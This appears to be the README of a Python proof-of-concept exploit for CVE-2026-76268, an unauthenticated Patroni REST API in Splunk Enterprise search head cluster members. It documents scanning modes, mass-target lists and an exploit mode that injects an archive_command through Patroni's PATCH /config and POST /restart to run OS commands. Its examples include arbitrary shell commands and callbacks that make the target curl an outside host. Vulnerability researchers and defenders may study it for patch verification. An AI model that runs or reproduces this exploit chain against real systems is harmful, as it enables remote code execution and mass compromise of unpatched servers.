
Python PoC for CVE-2026-76268: detects unauthenticated Patroni REST API on Splunk SHC members and exploits it via archive_command injection to achieve RCE.
Python 3 PoC for CVE-2026-76268 — Splunk Enterprise on search head cluster (SHC) members. Advisory SVD-2026-1001.
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76268 |
| Advisory | https://advisory.splunk.com/advisories/SVD-2026-1001 |
| Component | PostgreSQL sidecar (Storage) → Patroni REST API |
| Affected | 10.2.0 – 10.2.6, 10.4.0 – 10.4.2 |
| Fix | 10.2.7, 10.4.3 (and later) |
| Not affected (this CVE) | 10.0.x, 9.4.x |
| CWE | CWE-306 — missing authentication for critical function |
| CVSS 3.1 | 9.8 Critical |
| Verify marker | POCBIT-76268-OK |
| PoCbit | https://pocbit.org/pocs/cve-2026-76268 |
On vulnerable Splunk Enterprise SHC members, the Patroni REST API (part of the PostgreSQL sidecar introduced in Splunk 10.x) accepts state-changing requests without authentication. An attacker with network access to the Patroni listener can change dynamic cluster configuration and trigger operating-system command execution via PostgreSQL parameters such as archive_command (Patroni PATCH /config + POST /restart chain).
This PoC talks directly to Patroni (typically TCP 8008, or a port assigned by Splunk’s IPC Broker). It does not use Splunk Web (8000) or the Splunk management port (8089). That is a different surface (e.g. historical sidecar issues via splunkd proxy).
Preconditions for real-world impact:
[postgres] sidecar is enabled (disabled = true removes Patroni).cd CVE-2026-76268
pip install -r requirements.txt
requests, urllib3| Mode | Purpose |
|---|---|
check (default) | Find Patroni on common ports; test unauthenticated PATCH /config |
exploit | Run Patroni RCE chain (archive_command + restart) |
| Mass | --list FILE with -j threads; writes JSONL + optional hit/exploit lists |
You must pass either -t TARGET or --list FILE.
-t / lines in --list)| Format | Example |
|---|---|
| Host only (default port scan) | 192.168.1.50 |
| Host + port | 192.168.1.50:8008 |
| Full URL | http://10.0.0.5:8008 |
Comments in list files: lines starting with # are ignored.
Discover Patroni and assess whether unauthenticated configuration changes appear allowed.
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
What the PoC does:
GET /patroni (or /) on each port in --ports (default 8008,8009,8010,18008).PATCH /config with an empty JSON body and no credentials.exploitable_candidate: true when Patroni responds and PATCH is not rejected with 401/403.Useful flags:
| Flag | Meaning |
|---|---|
--ports | Comma-separated Patroni ports to scan |
--port | Skip scan; use one port only |
--timeout | HTTP timeout (seconds, default 20) |
--proxy | HTTP(S) proxy for requests |
--output | JSONL log (default cve_2026_76268_results.jsonl) |
--vuln-list | Tab-separated candidates (default hits.txt) |
--quiet | Less console output |
--no-color | Plain terminal |
Exit code: 0 if exploitable_candidate is true; otherwise 1.
Recommended workflow: mass check → review hits.txt → mass exploit only on authorized hosts.
--mode exploit)Runs the Patroni configuration injection chain. This changes live sidecar/PostgreSQL dynamic config on the target.
--port is set).PATCH /config returns 401/403.PATCH /config — sets wal_level=replica, archive_mode=always, archive_timeout=1, and your archive_command.POST /restart — apply pending PostgreSQL configuration.--wait-archive seconds (default 3); archive_command runs on the WAL archive cycle (not instant).# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"
# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
Outputs:
--output — full JSONL (mass exploit defaults to cve_2026_76268_exploit.jsonl if you kept the default name).--exploited-list — rows where exploited: true (default exploited.txt).| Flag | Meaning |
|---|---|
--oob URL | Base URL; command runs curl/wget to URL/POCBIT-76268-OK |
--command | Full PostgreSQL archive_command string (overrides OOB default) |
--wait-archive | Seconds to sleep after restart before the PoC exits |
--ports / --port | Port discovery or fixed Patroni port |
--tls | Use https:// for Patroni (uncommon in default Splunk sidecar docs) |
Default command when neither --oob nor --command is set:
touch /tmp/POCBIT-76268-OK
Exit code: 0 when PATCH and restart are accepted (exploited: true). That means the chain was delivered, not that your callback or file proof already fired. Confirm with OOB or filesystem checks on the host.
Important: Patroni may ignore dynamic changes if the same parameters are locked in local config (vendor hardening). In that case exploit may fail even on old Splunk builds.
-t run)Printed to stdout (pretty JSON). Mass mode writes one JSON object per line.
| Field | Meaning |
|---|---|
mode | check or exploit |
host / target | Normalized input |
patroni_base | e.g. http://192.168.1.50:8008 |
patroni_port | Port where Patroni answered |
patroni_role | From GET /patroni (e.g. primary) |
unauth_patch | Check: PATCH allowed without auth |
exploitable_candidate | Check: likely vulnerable surface |
exploited | Exploit: PATCH + restart succeeded |
patch / restart | HTTP status and body preview |
verify | Hint: OOB path or /tmp/POCBIT-76268-OK |
error | Failure reason (auth_required_patched_or_hardened, no_patroni_on_ports, …) |
pocbit, pocbit_page, verify_marker | PoCbit metadata |
| Result | Meaning |
|---|---|
patroni_unauth_patch_confirmed | Strong check hit — unauthenticated PATCH accepted |
patroni_auth_required | Patroni requires auth (likely patched or hardened) |
no_patroni_on_ports | No Patroni JSON on scanned ports (wrong host, firewalled, or not SHC sidecar) |
exploit_chain_ok | Exploit HTTP chain completed |
auth_required_patched_or_hardened | Exploit aborted before injection |